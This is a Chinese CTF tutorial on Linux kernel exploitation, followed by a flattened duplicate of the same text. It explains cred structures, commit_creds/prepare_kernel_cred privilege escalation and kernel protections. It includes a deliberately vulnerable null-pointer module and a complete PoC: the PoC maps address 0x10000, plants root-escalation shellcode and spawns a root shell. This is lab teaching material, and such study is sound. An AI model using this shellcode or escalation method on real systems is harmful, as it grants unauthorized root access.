ctf中linux 内核态的漏洞挖掘与利用系列(一)
字数 1860 2025-08-29 08:30:36

Linux内核态漏洞挖掘与利用教学文档

一、内核态与用户态的区别

1. CPU权限级别划分

  • Intel CPU将权限级别划分为4级(ring 0到ring 3)
  • 内核态(ring 0)
    • 最高权限级别
    • 可以访问内存的所有数据
    • 可以访问外围设备(硬盘、网卡等)
    • 可以在程序间切换
  • 用户态(ring 3)
    • 最低权限级别
    • 只能受限访问内存
    • 不允许访问外围设备

2. 权限特点

  • 内环可以随意访问外环资源
  • 外环被禁止访问内环资源
  • 内核态漏洞比用户态漏洞具有更强的破坏力

二、Linux内核分析环境搭建

1. 内核编译准备

sudo apt-get install libncurses5-dev
sudo apt-get install flex
sudo apt-get install bison
sudo apt-get install libopenssl-dev

2. 内核编译步骤

  1. 下载内核源码(如4.19版本)
  2. 生成默认config文件:
    make menuconfig
    
    • kernel hacking选项中启用调试选项
  3. 编译内核:
    make
    
    • 生成文件包括:
      • vmlinux:可执行内核文件
      • System.map:符号表
      • bzImage:可加载内核镜像(位于arch/x86/boot

3. 文件系统构建(使用BusyBox)

  1. 下载BusyBox源码

  2. 配置编译选项:

    make menuconfig
    
    • 选择static binary
  3. 编译安装:

    make install
    
    • 生成_install目录
  4. 初始化脚本(在_install目录下):

    #!/bin/sh
    mkdir -pv {bin,sbin,etc,proc,sys,usr/{bin,sbin}}
    echo """#!/bin/sh
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t debugfs none /sys/kernel/debug
    mkdir /tmp
    mount -t tmpfs none /tmp
    mdev -s
    exec /bin/sh""" >> init
    chmod +x init
    
  5. 打包文件系统:

    find . | cpio -o --format=newc > ../rootfs.cpio
    

4. 运行内核

qemu-system-x86_64 -kernel ./bzImage -initrd ./rootfs.cpio -s -append "nokaslr"
  • -s:允许gdb远程调试
  • nokaslr:禁用内核地址空间布局随机化

5. 调试内核

  1. 使用gdb连接:
    gdb vmlinux
    (gdb) target remote :1234
    
  2. 设置断点(如new_sync_read

三、内核提权基础

1. 基本概念

  • 用户:权限的凭证和归属
  • 权限:控制用户对资源(CPU、内存、文件等)的访问
  • 进程:程序执行的实例
  • 进程权限:进程携带用户身份信息进行合法操作

2. 关键数据结构

task_struct(进程描述符)

  • 定义在include/sched.h
  • 包含进程的所有信息
  • 关键成员:
    • pid:进程ID
    • cred:权限凭证结构
    • real_cred:客体证书

cred结构

struct cred {
    atomic_t usage;
    kuid_t uid;         // 真实用户ID
    kgid_t gid;         // 真实组ID
    kuid_t suid;        // 保存的用户ID
    kgid_t sgid;        // 保存的组ID
    kuid_t euid;        // 有效用户ID
    kgid_t egid;        // 有效组ID
    kuid_t fsuid;       // 文件系统用户ID
    kgid_t fsgid;       // 文件系统组ID
    kernel_cap_t cap_inheritable;  // 子进程可继承的能力
    kernel_cap_t cap_permitted;    // 允许的能力
    kernel_cap_t cap_effective;    // 实际可用的能力
    // ...其他成员
};

3. 提权方法

方法一:使用内核函数

commit_creds(prepare_kernel_cred(0));
  • prepare_kernel_cred(0):生成root权限的cred结构(获取init进程的cred)
  • commit_creds():替换当前进程的cred结构

方法二:直接修改cred结构

将cred结构中的uidgideuid等字段都设为0

4. 获取函数地址

  1. 通过IDA分析vmlinux文件
    • commit_creds:0xFFFFFFFF810B9810
    • prepare_kernel_cred:0xFFFFFFFF810B9C00
  2. 通过/proc/kallsyms获取
  3. 通过调试器获取

5. Shellcode示例

xor rdi, rdi
mov rbx, 0xFFFFFFFF810B9C00  ; prepare_kernel_cred地址
call rbx
mov rbx, 0xFFFFFFFF810B9810   ; commit_creds地址
call rbx
ret

6. 查找当前进程task_struct

32位环境

  1. 通过ESP寄存器:
register unsigned long current_stack_pointer asm("esp");
static inline struct thread_info *current_thread_info(void) {
    return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1));
}
static __always_inline struct task_struct *get_current(void) {
    return current_thread_info()->task;
}

64位环境

通过GS寄存器:

mov rax, gs:current_task
mov rax, [rax+0A48h]

四、可加载内核模块

1. 基本操作

insmod  # 装载内核模块
lsmod   # 列出内核模块
rmmod   # 卸载内核模块

2. 内核保护机制

机制 描述 类比用户层
KASLR 内核空间地址随机化 ASLR
stack protector 内核栈保护 Stack Canary
SMAP 禁止内核访问用户态数据 -
SMEP 禁止内核执行用户态代码 NX
MMAP_MIN_ADDR mmap最小地址限制 -
KPTI 内核页表隔离 -

3. 用户与内核交互方式

  1. 系统调用(syscall):用户空间和内核空间的桥梁
  2. ioctl:直接与驱动设备通信
  3. 文件操作:open/read/write(驱动设备映射为文件)

4. 常见漏洞类型

  1. 空指针解引用:UNINITIALIZED/NONVALIDATED/CORRUPTED POINTER DEREFERENCE
  2. 内存破坏:内核栈/堆漏洞
  3. 整数问题:整数溢出、符号转换错误
  4. 竞争条件:如double fetch漏洞

五、漏洞利用实例:空指针解引用

1. 漏洞模块代码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>

void (*my_funptr)(void) = 0x10000;

ssize_t nullp_write(struct file *file, const char __user *buf, 
                   size_t len, loff_t *loff) {
    my_funptr();
    return len;
}

static int __init null_dereference_init(void) {
    printk(KERN_ALERT "null_dereference driver init!\n");
    static const struct file_operations mytest_proc_fops = {
        .write = nullp_write,
    };
    proc_create("test_kernel_npd", 0666, 0, &mytest_proc_fops);
    return 0;
}

static void __exit null_dereference_exit(void) {
    printk(KERN_ALERT "null_dereference driver exit\n");
}

module_init(null_dereference_init);
module_exit(null_dereference_exit);

2. 利用步骤

  1. 使用mmap映射0x10000地址:
    void *addr0 = mmap(0x10000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, 
                      MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    
  2. 将shellcode复制到该地址:
    memcpy(addr0, mypoc, 24);
    
  3. 触发漏洞:
    int mfd = open("/proc/test_kernel_npd", O_RDWR);
    int res = write(mfd, "run shellcode", 14);
    

3. PoC代码

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

unsigned char *mypoc = "H1\xff\xe0H\xc7\xc3\x00\x9c\x0b\x81\xff\xd3H\xc7\xc3\x10\x98\x0b\x81\xff\xd3\xc3";

int main() {
    void *addr0 = mmap(0x10000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, 
                      MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(addr0, mypoc, 24);
    
    int mfd = open("/proc/test_kernel_npd", O_RDWR);
    int res = write(mfd, "run shellcode", 14);
    
    system("/bin/bash");
    return 0;
}

六、总结

  1. 内核漏洞利用需要理解内核态与用户态的区别
  2. 搭建调试环境是分析内核漏洞的基础
  3. 提权的核心是修改进程的cred结构
  4. 不同架构下获取当前进程task_struct的方法不同
  5. 内核保护机制增加了漏洞利用的难度
  6. 实际利用时需要根据漏洞类型选择合适的利用方法
Linux内核态漏洞挖掘与利用教学文档 一、内核态与用户态的区别 1. CPU权限级别划分 Intel CPU将权限级别划分为4级(ring 0到ring 3) 内核态(ring 0) : 最高权限级别 可以访问内存的所有数据 可以访问外围设备(硬盘、网卡等) 可以在程序间切换 用户态(ring 3) : 最低权限级别 只能受限访问内存 不允许访问外围设备 2. 权限特点 内环可以随意访问外环资源 外环被禁止访问内环资源 内核态漏洞比用户态漏洞具有更强的破坏力 二、Linux内核分析环境搭建 1. 内核编译准备 2. 内核编译步骤 下载内核源码(如4.19版本) 生成默认config文件: 在 kernel hacking 选项中启用调试选项 编译内核: 生成文件包括: vmlinux :可执行内核文件 System.map :符号表 bzImage :可加载内核镜像(位于 arch/x86/boot ) 3. 文件系统构建(使用BusyBox) 下载BusyBox源码 配置编译选项: 选择 static binary 编译安装: 生成 _install 目录 初始化脚本(在 _install 目录下): 打包文件系统: 4. 运行内核 -s :允许gdb远程调试 nokaslr :禁用内核地址空间布局随机化 5. 调试内核 使用gdb连接: 设置断点(如 new_sync_read ) 三、内核提权基础 1. 基本概念 用户 :权限的凭证和归属 权限 :控制用户对资源(CPU、内存、文件等)的访问 进程 :程序执行的实例 进程权限 :进程携带用户身份信息进行合法操作 2. 关键数据结构 task_ struct(进程描述符) 定义在 include/sched.h 包含进程的所有信息 关键成员: pid :进程ID cred :权限凭证结构 real_cred :客体证书 cred结构 3. 提权方法 方法一:使用内核函数 prepare_kernel_cred(0) :生成root权限的cred结构(获取init进程的cred) commit_creds() :替换当前进程的cred结构 方法二:直接修改cred结构 将cred结构中的 uid 、 gid 、 euid 等字段都设为0 4. 获取函数地址 通过IDA分析 vmlinux 文件 commit_creds :0xFFFFFFFF810B9810 prepare_kernel_cred :0xFFFFFFFF810B9C00 通过 /proc/kallsyms 获取 通过调试器获取 5. Shellcode示例 6. 查找当前进程task_ struct 32位环境 通过ESP寄存器: 64位环境 通过GS寄存器: 四、可加载内核模块 1. 基本操作 2. 内核保护机制 | 机制 | 描述 | 类比用户层 | |------|------|------------| | KASLR | 内核空间地址随机化 | ASLR | | stack protector | 内核栈保护 | Stack Canary | | SMAP | 禁止内核访问用户态数据 | - | | SMEP | 禁止内核执行用户态代码 | NX | | MMAP_ MIN_ ADDR | mmap最小地址限制 | - | | KPTI | 内核页表隔离 | - | 3. 用户与内核交互方式 系统调用(syscall) :用户空间和内核空间的桥梁 ioctl :直接与驱动设备通信 文件操作 :open/read/write(驱动设备映射为文件) 4. 常见漏洞类型 空指针解引用 :UNINITIALIZED/NONVALIDATED/CORRUPTED POINTER DEREFERENCE 内存破坏 :内核栈/堆漏洞 整数问题 :整数溢出、符号转换错误 竞争条件 :如double fetch漏洞 五、漏洞利用实例:空指针解引用 1. 漏洞模块代码 2. 利用步骤 使用mmap映射0x10000地址: 将shellcode复制到该地址: 触发漏洞: 3. PoC代码 六、总结 内核漏洞利用需要理解内核态与用户态的区别 搭建调试环境是分析内核漏洞的基础 提权的核心是修改进程的cred结构 不同架构下获取当前进程task_ struct的方法不同 内核保护机制增加了漏洞利用的难度 实际利用时需要根据漏洞类型选择合适的利用方法